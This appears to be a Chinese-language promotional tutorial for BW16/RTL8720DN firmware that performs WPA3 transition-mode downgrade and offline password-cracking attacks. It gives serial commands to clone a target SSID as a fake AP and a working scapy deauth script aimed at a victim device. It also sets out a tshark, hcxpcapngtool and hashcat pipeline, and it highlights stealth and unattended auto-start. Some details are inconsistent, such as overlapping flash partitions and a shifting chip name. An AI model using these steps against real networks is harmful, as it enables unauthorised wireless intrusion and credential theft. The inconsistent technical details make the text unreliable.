
简介面向RTL8720DN/BW16开发板的开源固件包主打双攻击WPA3功能适合物联网安全研究、嵌入式开发及无线渗透测试爱好者。固件内置按键交互逻辑通过PA14、PA30、PA12、PA13分别实现向下、向上、确定、返回操作可在菜单中完成针对WPA3环境的双重攻击测试。压缩包共含62个文件约22.43MB类型覆盖38个bin固件镜像、7个exe烧录工具及dll运行库、4个txt使用说明、4张实物接线参考图片以及C/C/汇编源码和axf、map等编译调试辅助文件目录结构便于定位。包内另外提供固件擦除与一键烧录命令基于Ai-Thinker_BW16配置即可快速部署到开发板对希望分析RTL8720DN固件结构、学习按键菜单开发或复现无线攻击实验的开发者能够获得可直接使用的固件、配套工具链和源码参照。已有390人学习下载适合有一定嵌入式或网络安全基础、想动手验证WPA3攻击演示的读者。1. 开源固件 BW16 把 WPA3 双攻击集成在低功耗网卡里无线渗透测试里真正让 WPA3 失防的地方大多不在 SAE 握手本身而是 AP 同时开启了 WPA2/WPA3 过渡模式。客户端在过渡链路上重新关联时会走一遍更弱的 4-way handshake攻击者利用这一点就能把“抓握手”和“离线破解”重新变成可行路径。开源固件 BW16 双攻击 WPA3 一体化集成版就是把这条降级链路和后续离线破解链路合进一颗由 Realtek RTL8721DN 驱动的双频模组让一个不到二十元的板子同时承担伪造 AP、采集握手、导出 pcap 的角色。适合无线审计、红队快速评估和企业无线安全自查用来验证过渡模式下的 AP 是否会被客户端降级利用。2. BW16 的射频底子与 WPA3 双攻击的选型逻辑2.1 为什么不用 USB 网卡而是用 BW16 跑双攻击常见渗透测试配置是一张支持监听模式的 USB 网卡加一台笔记本但这种方式在携带性、体积和隐蔽性上都有明显短板。BW16 是双频低功耗嵌入式模块支持 802.11a/b/g/n能同时工作在 2.4GHz 和 5GHz并且 AP、STA 两种角色可以共存在同一个 RTOS 实例里。它的主控是双核 Cortex 架构一个核跑协议栈另一个核跑攻击逻辑串口或 GPIO 就能控制整个板子的功耗适合电池供电。对一次现场评估来说把攻击模块做成独立固件后现场只需要开电、连接串口、下发命令。选型时还要看能不能拿到射频控制权。BW16 的 SDK 开放了 Beacon、Probe Response、关联流程的回调接口也能通过注册帧回调抓取 EAPOL 报文。下面这段扫描命令是在正式测试前先确认目标网络是否开了过渡模式道理和选设备一样先看清攻击面再决定要不要把 BW16 固件换成双攻击版本。sudo iw dev wlan0 scan | egrep SSID:|Authentication suites|Group cipher同一个 SSID 下如果同时出现PSK和SAE两种认证套件说明这个 AP 运行在 WPA2/WPA3 过渡模式。WPA3-only 的网络只会出现SAE不会给出降级机会。把扫描结果和后续 BW16 抓到的握手包对照就能判断到底是目标真被降级还是客户端本来就选错了认证方式。这个习惯建议保留到每次测试的开头避免在 WPA3-only 网络上浪费一轮 deauth。部件在双攻击里的角色关键参数BW16 模块伪造 AP、采集握手RTL8721DN双频 802.11a/b/g/nPCB 天线或外置天线控制覆盖范围板载天线约 2-3dBi可外接USB 转串口板下发攻击命令、导出日志115200 8N13.7V 锂电池与稳压现场独立供电建议 5V 输入注意电流纹波2.2 WPA3 双攻击指哪两条链路以及各自要抓什么“双攻击”不是同时打两个 AP而是针对同一个目标的两种攻击形态。第一种是降级攻击在过渡模式下冒充合法 AP通过取消认证让终端重新关联终端会优先选择自己认识且能力匹配的连接参数攻击者再把握手拉到 WPA2 的 4-way 通道上。第二种是离线破解拿到 4-way handshake 或 PMKID 之后把 pcap 转成 Hashcat 的 22000 格式用字典或掩码跑一遍。两条链路分开看都很传统但集成到一个固件后现场操作就从“两台设备协作”变成“BW16 出一条攻击链路”。这里要澄清一个常见误判WPA3-SAE 的 EAPOL 在理想实现下无法直接离线猜密码因为每次猜测都需要和 AP 交互。开源固件选择同时集成降级和离线破解等于是绕回过渡模式下 PMKID 和 EAPOL 均可离线破解的旧路径。因此抓包阶段的目标就非常明确抓 EAPOL Key 帧尤其是 M1 和 M2。tshark -r bw16_capture.pcapng -Y eapol \ -T fields -e frame.number -e wlan.sa -e eapol.type -e eapol.keydes.key_infoeapol.type为 3 表示 Key Descriptor 帧M1 到 M4 都会落在这个过滤器下。只看字段名容易误判建议先用eapol这个上层层级过滤再从结果里挑出wlan.sa是 AP 还是终端的行。BW16 固件在降级模式里会把这类帧连同无线电头部的 RSSI 一起记录后面第 4 章再展开讲导出方式。3. 编译开源固件BW16 的构建参数与分区布局3.1 用 Arduino CLI 从源码生成可以烧录的 binBW16 的开发环境可以直接走 Arduino CLI不需要打开图形界面。先装好板卡包再编译最终产物是带分区表的 bin 文件。这里用到的命令在一体化集成版开源固件里是标准工作流arduino-cli core update-index arduino-cli core install realtek:ameba arduino-cli board listall | grep -i ameba arduino-cli compile --fqbn realtek:ameba:rtl8721dn \ --build-property build.extra_flags-DDUAL_ATTACK_VERSION0.4 \ --output-dir ./bin ./dual_attack arduino-cli upload -p /dev/ttyUSB0 --fqbn realtek:ameba:rtl8721dn ./dual_attackboard listall的输出会随板卡包版本变化如果实际列表里的 FQBN 不是realtek:ameba:rtl8721dn以列表输出为准不要强行套模板。build.extra_flags可以注入编译期宏一体化固件里常用来指定版本号、默认 SSID 和是否禁用串口调试输出。--output-dir指定生成目录方便区分多个固件版本。编译参数作用示例--fqbn指定目标板与编译参数realtek:ameba:rtl8721dn--build-property覆写编译宏build.extra_flags-DLOG_LEVEL3--output-dir指定 bin 输出目录./bin--verbose打印完整编译输出排查头文件缺失时使用3.2 flash 分区的大小分配与常见坑双攻击固件比普通智能家居固件多两块东西一是临时缓存 EAPOL 帧的环形缓冲区二是导出的 pcap 存储区。如果把这两块都塞进固件镜像OTA 分区就会过大。常见做法是把 pcap 写到 SPIFFS 或外部 SD固件本体只保留很小的 ring buffer。下面是一个可参考的分区布局具体偏移以 SDK 自带的默认分区表为准# name, offset, size, type boot, 0x00000, 0x08000, app0 ota0, 0x08000, 0x3B000, app0 spiffs,0x3C000, 0x04000, data注意spiffs的大小不需要开得很大。离线破解在 PC 端进行BW16 只负责临时存握手存够一组完整 4-way 后即可通过串口导出。如果分区开得太大反而会让编译脚本默认启用压缩固件增加 OTA 失败概率。实际排查时先看编译日志里有没有Overflowed或not enough space有就缩小 SPIFFS没有就不要动分区表。3.3 串口引导日志与版本回显三段必看烧录完成后第一个动作不是直接发攻击命令而是确认引导日志里三个组件都起来了。一体化集成版的开源固件通常会在串口 115200 波特率下输出类似下面的内容[RTOS] hw init: 200MHz, heap192KB [RF] calibration: pass [NET] ap_start: ssidaudit-lab, chan6, secwpa2wpa3-transition [ATK] module: downgrade loaded [ATK] module: eapol-log loaded [ATK] init: complete, version0.4第一段看hw init确认时钟和数据堆正常第二段看RF calibration射频校准失败会导致发送 beacon 但终端关联不上第三段看downgrade和eapol-log两个模块是否处于 loaded 状态。版本号也应该在这里和编译时注入的宏保持一致避免现场带着旧固件反复排查。4. 双攻击模式的启动参数与手工调优4.1 降级攻击模式让客户端先断开再重新关联到 BW16降级攻击的现场操作分为两步先把 BW16 的 AP 接口配置成与目标同名、同信道再对终端发送 deauth让它重新扫描并选择信号更强的伪造 AP。一体化固件里串口命令通常长这样 atk set mode downgrade ok atk set ssid corp-wifi ok atk set channel 6 ok atk run downgrade start on channel 6mode只有downgrade和crack两种取值crack模式偏向纯抓包导出。ssid必须与目标完全一致包括大小写和空格channel要和目标 AP 所在信道一致否则部分终端在漫游扫描时不会回应。收到downgrade start后固件才开始广播 beacon 并记录关联事件。由于 BW16 作为 AP 时不能同时高效发送满功率 deauth代码仓库里通常保留一个独立的主机侧辅助脚本#!/usr/bin/env python3 # 降级辅助脚本只发 Deauth不参与抓包 from scapy.all import RadioTap, Dot11, Dot11Deauth, sendp from time import sleep target aa:bb:cc:dd:ee:ff # 受害终端 MAC bssid 11:22:33:44:55:66 # 合法 AP 的 BSSID pkt RadioTap()/Dot11( addr1target, addr2bssid, addr3bssid )/Dot11Deauth(reason7) sendp(pkt, ifacewlan0, count30, inter0.2)这里的reason7表示“来自非关联站的 3 类帧”绝大多数驱动会立即断连。连续发 30 次是为了覆盖终端从收到 deauth 到重新扫描的窗口。如果终端始终不回连优先检查 BW16 的信道和 SSID 是否复制完整不要急着加发射功率。提示降级攻击只对开放了 WPA2/WPA3 过渡模式的网络有效。对纯 WPA3-SAE 网络去关联后的重连也会回到 SAE抓不到可离线破解的 WPA2 握手。4.2 离线破解模式从 pcapng 到 hashcat 的完整管线BW16 记录抓到的 EAPOL 后通过串口或 SD 卡导出 pcapng 文件。拿到文件后第一步是用 tshark 清理掉无关广播帧再交给 hcxpcapngtool 转成 Hashcat 格式tshark -r bw16_capture.pcapng -Y eapol -w eapol_only.pcapng hcxpcapngtool -o office.hc22000 eapol_only.pcapng hashcat -m 22000 -a 3 office.hc22000 ?d?d?d?d?d?d?d?d \ --status --status-timer10hcxpcapngtool会自动识别 pcap 里的 EAPOL 和 PMKID并输出 Hashcat 专有的hc22000格式。-m 22000对应 WPA-PBKDF2-PMKIDEAPOL-a 3表示掩码爆破。这里的掩码只适合测试环境现场应按目标密码策略调整。hashcat 参数用途建议值-m 22000指定 WPA/WPA2 握手模式固定-a 3掩码攻击按密码策略调整--status打印实时进度配合长任务使用--status-timer刷新间隔10 秒以上-w 4占用全部计算资源PC 端可承受时使用这个阶段最容易踩的坑是握手不完整。Hashcat 报Line-length exception或Separator unmatched通常不是 pcap 解析问题而是 pcap 里只有 M1/M2。BW16 固件的 eapol-log 模块会记录 4-way 帧但 M3/M4 依赖 AP 和终端同时在线。看到缺帧就直接补一轮 deauth 重抓不要花时间修一个不完整的 cap。4.3 两个模式共用一个参数区避免烧录两次一体化集成版的价值在于现场少带東西。参数区最好独立放在 flash 的 data 分区不随固件更新丢失。串口配置项写一次atk run后固件先读参数区再启动对应模块。这样现场切换降级和离线破解不需要重新烧录只要改参数后复位。常见做法是用一块小的 key-value 区域保存mode、ssid、channel、auto_start。其中auto_start1会让固件上电后自动进入攻击模式适合无人值守的长期测试auto_start0则默认停在配置界面适合手工调试。参数区写入后要执行atk save否则复位后会回到默认值。写参数和跑攻击用同一个串口会话日志里看到config saved再断电。5. 用 Wireshark 的三个过滤器验证双攻击固件是否成功5.1 用 EAPOL 会话数确认客户端完成 4-way 握手攻击结束后导出抓包文件并打开 Wireshark。先用eapol过滤掉所有 Wi-Fi 管理帧再用目标 BSSID 把范围缩小到 BW16 参与的会话tshark -r after_attack.pcapng -Y eapol wlan.addr3 00:11:22:33:44:55 \ -T fields -e frame.time_relative -e wlan.sa -e eapol.type -e eapol.keydes.key_infowlan.addr3在基础架构模式下通常是 BSSID也就是 BW16 伪造 AP 的 MAC。eapol.type为 3 的是关键帧一条完整 4-way handshake 应该出现 4 次这样的记录。如果只有 1-2 条说明终端在握手中途脱离了关联状态需要重新抓包。第二个过滤器是针对 PMKID 的适用于 AP 开启了 PMKID 缓存的情况tshark -r after_attack.pcapng -Y wlan.rsn.ie.pmkid -T fields -e frame.number抓到 PMKID 后Hashcat 的 22000 模式可以直接处理甚至不需要完整 4-way。第三个过滤器验证降级是否真的发生tshark -r after_attack.pcapng -Y eapol frame contains 00-0f-ac-0400-0f-ac-04是 WPA2-PSK 使用的 AKM 套件标识它出现在握手密文里说明终端确实是用 WPA2 参数完成连接。如果这个字段始终不出现说明 BW16 虽然广播成功但终端还是走了 SAE此时要回到第 2 章的扫描步骤确认目标网络是否真的开了过渡模式。验证结束后把三个过滤器的结果放到同一个时间轴上对比M1 时间点之前必须有 deauth 风暴M3/M4 时间点必须落在 BW16 的 AP 启动之后。如果只有 M1/M2没有 M3/M4就再补一轮 deauth并且确认 BW16 不是在隐蔽信道上发送 beacon。本文还有配套的精品资源点击获取